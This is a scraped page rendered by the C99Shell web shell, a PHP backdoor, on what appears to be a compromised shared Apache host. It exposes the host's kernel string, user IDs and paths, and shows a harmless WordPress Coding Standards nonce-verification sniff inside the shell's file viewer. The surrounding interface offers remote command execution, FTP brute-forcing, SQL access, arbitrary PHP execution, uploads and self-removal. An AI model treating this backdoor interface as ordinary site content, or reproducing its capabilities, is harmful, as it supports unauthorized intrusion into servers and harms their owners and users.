!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/vendor/wp-coding-standards/wpcs/WordPress/Sniffs/Security/   drwxr-xr-x
Free 710.9 GB of 879.6 GB (80.82%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     NonceVerificationSniff.php (13.43 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * WordPress Coding Standard.
 *
 * @package WPCS\WordPressCodingStandards
 * @link    https://github.com/WordPress/WordPress-Coding-Standards
 * @license https://opensource.org/licenses/MIT MIT
 */

namespace WordPressCS\WordPress\Sniffs\Security;

use PHPCSUtils\Tokens\Collections;
use PHPCSUtils\Utils\Conditions;
use PHPCSUtils\Utils\Context;
use PHPCSUtils\Utils\Lists;
use PHPCSUtils\Utils\MessageHelper;
use PHPCSUtils\Utils\Scopes;
use WordPressCS\WordPress\Helpers\ContextHelper;
use WordPressCS\WordPress\Helpers\RulesetPropertyHelper;
use WordPressCS\WordPress\Helpers\SanitizationHelperTrait;
use WordPressCS\WordPress\Helpers\UnslashingFunctionsHelper;
use WordPressCS\WordPress\Helpers\VariableHelper;
use WordPressCS\WordPress\Sniff;

/**
 * Checks that nonce verification accompanies form processing.
 *
 * @link https://developer.wordpress.org/plugins/security/nonces/ Nonces on Plugin Developer Handbook
 *
 * @since 0.5.0
 * @since 0.13.0 Class name changed: this class is now namespaced.
 * @since 1.0.0  This sniff has been moved from the `CSRF` category to the `Security` category.
 * @since 3.0.0  This sniff has received significant updates to its logic and structure.
 *
 * @uses \WordPressCS\WordPress\Helpers\SanitizationHelperTrait::$customSanitizingFunctions
 * @uses \WordPressCS\WordPress\Helpers\SanitizationHelperTrait::$customUnslashingSanitizingFunctions
 */
class NonceVerificationSniff extends Sniff {

    use SanitizationHelperTrait;

    /**
     * Superglobals to notify about when not accompanied by an nonce check.
     *
     * A value of `true` results in an error. A value of `false` in a warning.
     *
     * @since 0.12.0
     *
     * @var array
     */
    protected $superglobals = array(
        '$_POST'    => true,
        '$_FILES'   => true,
        '$_GET'     => false,
        '$_REQUEST' => false,
    );

    /**
     * Custom list of functions which verify nonces.
     *
     * @since 0.5.0
     *
     * @var string[]
     */
    public $customNonceVerificationFunctions = array();

    /**
     * List of the functions which verify nonces.
     *
     * @since 0.5.0
     * @since 0.11.0 Changed from public static to protected non-static.
     * @since 3.0.0  - Moved from the generic `Sniff` class to this class.
     *               - Visibility changed from `protected` to `private.
     *
     * @var array
     */
    private $nonceVerificationFunctions = array(
        'wp_verify_nonce'     => true,
        'check_admin_referer' => true,
        'check_ajax_referer'  => true,
    );

    /**
     * Cache of previously added custom functions.
     *
     * Prevents having to do the same merges over and over again.
     *
     * @since 0.5.0
     * @since 0.11.0 - Changed from public static to protected non-static.
     *               - Changed the format from simple bool to array.
     * @since 3.0.0  - Property rename from `$addedCustomFunctions` to `$addedCustomNonceFunctions`.
     *               - Visibility changed from `protected` to `private.
     *               - Format changed from a multi-dimensional array to a single-dimensional array.
     *
     * @var array
     */
    private $addedCustomNonceFunctions = array();

    /**
     * Information on the all scopes that were checked to find a nonce verification in a particular file.
     *
     * The array will be in the following format:
     * ```
     * array(
     *   'file'  => (string) The name of the file.
     *   'cache' => (array) array(
     *     # => array(             The key is the token pointer to the "start" position.
     *       'end'   => (int)      The token pointer to the "end" position.
     *       'nonce' => (int|bool) The token pointer where n nonce check
     *                             was found, or false if none was found.
     *     )
     *   )
     * )
     * ```
     *
     * @since 3.0.0
     *
     * @var array<string, mixed>
     */
    private $cached_results;

    /**
     * Returns an array of tokens this test wants to listen for.
     *
     * @return array
     */
    public function register() {
        $targets  = array( \T_VARIABLE => \T_VARIABLE );
        $targets += Collections::listOpenTokensBC(); // We need to skip over lists.

        return $targets;
    }

    /**
     * Processes this test, when one of its tokens is encountered.
     *
     * @param int $stackPtr The position of the current token in the stack.
     *
     * @return int|void Integer stack pointer to skip forward or void to continue
     *                  normal file processing.
     */
    public function process_token( $stackPtr ) {
        // Skip over lists as whatever is in those will always be assignments.
        if ( isset( Collections::listOpenTokensBC()[ $this->tokens[ $stackPtr ]['code'] ] ) ) {
            $open_close = Lists::getOpenClose( $this->phpcsFile, $stackPtr );
            $skip_to    = $stackPtr;
            if ( false !== $open_close ) {
                $skip_to = $open_close['closer'];
            }

            return $skip_to;
        }

        if ( ! isset( $this->superglobals[ $this->tokens[ $stackPtr ]['content'] ] ) ) {
            return;
        }

        if ( Scopes::isOOProperty( $this->phpcsFile, $stackPtr ) ) {
            // Property with the same name as a superglobal. Not our target.
            return;
        }

        // Determine the cache keys for this item.
        $cache_keys = array(
            'file'  => $this->phpcsFile->getFilename(),
            'start' => 0,
            'end'   => $stackPtr,
        );

        // If we're in a function, only look inside of it.
        // This doesn't take arrow functions into account as those are "open".
        $functionPtr = Conditions::getLastCondition( $this->phpcsFile, $stackPtr, array( \T_FUNCTION, \T_CLOSURE ) );
        if ( false !== $functionPtr ) {
            $cache_keys['start'] = $this->tokens[ $functionPtr ]['scope_opener'];
        }

        $this->mergeFunctionLists();

        $needs_nonce = $this->needs_nonce_check( $stackPtr, $cache_keys );
        if ( false === $needs_nonce ) {
            return;
        }

        if ( $this->has_nonce_check( $stackPtr, $cache_keys, ( 'after' === $needs_nonce ) ) ) {
            return;
        }

        // If we're still here, no nonce-verification function was found.
        $error_code = 'Missing';
        if ( false === $this->superglobals[ $this->tokens[ $stackPtr ]['content'] ] ) {
            $error_code = 'Recommended';
        }

        MessageHelper::addMessage(
            $this->phpcsFile,
            'Processing form data without nonce verification.',
            $stackPtr,
            $this->superglobals[ $this->tokens[ $stackPtr ]['content'] ],
            $error_code
        );
    }

    /**
     * Determine whether or not a nonce check is needed for the current superglobal.
     *
     * @since 3.0.0
     *
     * @param int   $stackPtr   The position of the current token in the stack of tokens.
     * @param array $cache_keys The keys for the applicable cache (to potentially set).
     *
     * @return string|false String "before" or "after" if a nonce check is needed.
     *                      FALSE when no nonce check is needed.
     */
    protected function needs_nonce_check( $stackPtr, array $cache_keys ) {
        $in_nonce_check = ContextHelper::is_in_function_call( $this->phpcsFile, $stackPtr, $this->nonceVerificationFunctions );
        if ( false !== $in_nonce_check ) {
            // This *is* the nonce check, so bow out, but do store to cache.
            // @todo Change to use arg unpacking once PHP < 5.6 has been dropped.
            $this->set_cache( $cache_keys['file'], $cache_keys['start'], $cache_keys['end'], $in_nonce_check );
            return false;
        }

        if ( Context::inUnset( $this->phpcsFile, $stackPtr ) ) {
            // Variable is only being unset, no nonce check needed.
            return false;
        }

        if ( VariableHelper::is_assignment( $this->phpcsFile, $stackPtr, false ) ) {
            // Overwriting the value of a superglobal.
            return false;
        }

        $needs_nonce = 'before';
        if ( ContextHelper::is_in_isset_or_empty( $this->phpcsFile, $stackPtr )
            || ContextHelper::is_in_type_test( $this->phpcsFile, $stackPtr )
            || VariableHelper::is_comparison( $this->phpcsFile, $stackPtr )
            || VariableHelper::is_assignment( $this->phpcsFile, $stackPtr, true )
            || ContextHelper::is_in_array_comparison( $this->phpcsFile, $stackPtr )
            || ContextHelper::is_in_function_call( $this->phpcsFile, $stackPtr, UnslashingFunctionsHelper::get_functions() ) !== false
            || $this->is_only_sanitized( $this->phpcsFile, $stackPtr )
        ) {
            $needs_nonce = 'after';
        }

        return $needs_nonce;
    }

    /**
     * Check if this token has an associated nonce check.
     *
     * @since 0.5.0
     * @since 3.0.0 - Moved from the generic `Sniff` class to this class.
     *              - Visibility changed from `protected` to `private.
     *              - New `$cache_keys` parameter.
     *              - New `$allow_nonce_after` parameter.
     *
     * @param int   $stackPtr          The position of the current token in the stack of tokens.
     * @param array $cache_keys        The keys for the applicable cache.
     * @param bool  $allow_nonce_after Whether the nonce check _must_ be before the $stackPtr or
     *                                 is allowed _after_ the $stackPtr.
     *
     * @return bool
     */
    private function has_nonce_check( $stackPtr, array $cache_keys, $allow_nonce_after = false ) {
        $start = $cache_keys['start'];
        $end   = $cache_keys['end'];

        // We allow for certain actions, such as an isset() check to come before the nonce check.
        // If this superglobal is inside such a check, look for the nonce after it as well,
        // all the way to the end of the scope.
        if ( true === $allow_nonce_after ) {
            $end = ( 0 === $start ) ? $this->phpcsFile->numTokens : $this->tokens[ $start ]['scope_closer'];
        }

        // Check against the cache.
        $current_cache = $this->get_cache( $cache_keys['file'], $start );
        if ( false !== $current_cache['nonce'] ) {
            // If we have already found a nonce check in this scope, we just
            // need to check whether it comes before this token. It is OK if the
            // check is after the token though, if this was only an isset() check.
            return ( true === $allow_nonce_after || $current_cache['nonce'] < $stackPtr );
        } elseif ( $end <= $current_cache['end'] ) {
            // If not, we can still go ahead and return false if we've already
            // checked to the end of the search area.
            return false;
        }

        $search_start = $start;
        if ( $current_cache['end'] > $start ) {
            // We haven't checked this far yet, but we can still save work by
            // skipping over the part we've already checked.
            $search_start = $this->cached_results['cache'][ $start ]['end'];
        }

        // Loop through the tokens looking for nonce verification functions.
        for ( $i = $search_start; $i < $end; $i++ ) {
            // Skip over nested closed scope constructs.
            if ( isset( Collections::closedScopes()[ $this->tokens[ $i ]['code'] ] )
                || \T_FN === $this->tokens[ $i ]['code']
            ) {
                if ( isset( $this->tokens[ $i ]['scope_closer'] ) ) {
                    $i = $this->tokens[ $i ]['scope_closer'];
                }
                continue;
            }

            // If this isn't a function name, skip it.
            if ( \T_STRING !== $this->tokens[ $i ]['code'] ) {
                continue;
            }

            // If this is one of the nonce verification functions, we can bail out.
            if ( isset( $this->nonceVerificationFunctions[ $this->tokens[ $i ]['content'] ] ) ) {
                /*
                 * Now, make sure it is a call to a global function.
                 */
                if ( ContextHelper::has_object_operator_before( $this->phpcsFile, $i ) === true ) {
                    continue;
                }

                if ( ContextHelper::is_token_namespaced( $this->phpcsFile, $i ) === true ) {
                    continue;
                }

                $this->set_cache( $cache_keys['file'], $start, $end, $i );
                return true;
            }
        }

        // We're still here, so no luck.
        $this->set_cache( $cache_keys['file'], $start, $end, false );

        return false;
    }

    /**
     * Helper function to retrieve results from the cache.
     *
     * @since 3.0.0
     *
     * @param string $filename The name of the current file.
     * @param int    $start    The stack pointer searches started from.
     *
     * @return array<string, mixed>
     */
    private function get_cache( $filename, $start ) {
        if ( is_array( $this->cached_results )
            && $filename === $this->cached_results['file']
            && isset( $this->cached_results['cache'][ $start ] )
        ) {
            return $this->cached_results['cache'][ $start ];
        }

        return array(
            'end'   => 0,
            'nonce' => false,
        );
    }

    /**
     * Helper function to store results to the cache.
     *
     * @since 3.0.0
     *
     * @param string   $filename The name of the current file.
     * @param int      $start    The stack pointer searches started from.
     * @param int      $end      The stack pointer searched stopped at.
     * @param int|bool $nonce    Stack pointer to the nonce verification function call or false if none was found.
     *
     * @return void
     */
    private function set_cache( $filename, $start, $end, $nonce ) {
        if ( is_array( $this->cached_results ) === false
            || $filename !== $this->cached_results['file']
        ) {
            $this->cached_results = array(
                'file'  => $filename,
                'cache' => array(
                    $start => array(
                        'end'   => $end,
                        'nonce' => $nonce,
                    ),
                ),
            );
            return;
        }

        // Okay, so we know the current cache is for the current file. Check if we've seen this start pointer before.
        if ( isset( $this->cached_results['cache'][ $start ] ) === false ) {
            $this->cached_results['cache'][ $start ] = array(
                'end'   => $end,
                'nonce' => $nonce,
            );
            return;
        }

        // Update existing entry.
        if ( $end > $this->cached_results['cache'][ $start ]['end'] ) {
            $this->cached_results['cache'][ $start ]['end'] = $end;
        }

        $this->cached_results['cache'][ $start ]['nonce'] = $nonce;
    }

    /**
     * Merge custom functions provided via a custom ruleset with the defaults, if we haven't already.
     *
     * @since 0.11.0 Split out from the `process()` method.
     *
     * @return void
     */
    protected function mergeFunctionLists() {
        if ( $this->customNonceVerificationFunctions !== $this->addedCustomNonceFunctions ) {
            $this->nonceVerificationFunctions = RulesetPropertyHelper::merge_custom_array(
                $this->customNonceVerificationFunctions,
                $this->nonceVerificationFunctions
            );

            $this->addedCustomNonceFunctions = $this->customNonceVerificationFunctions;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0168 ]--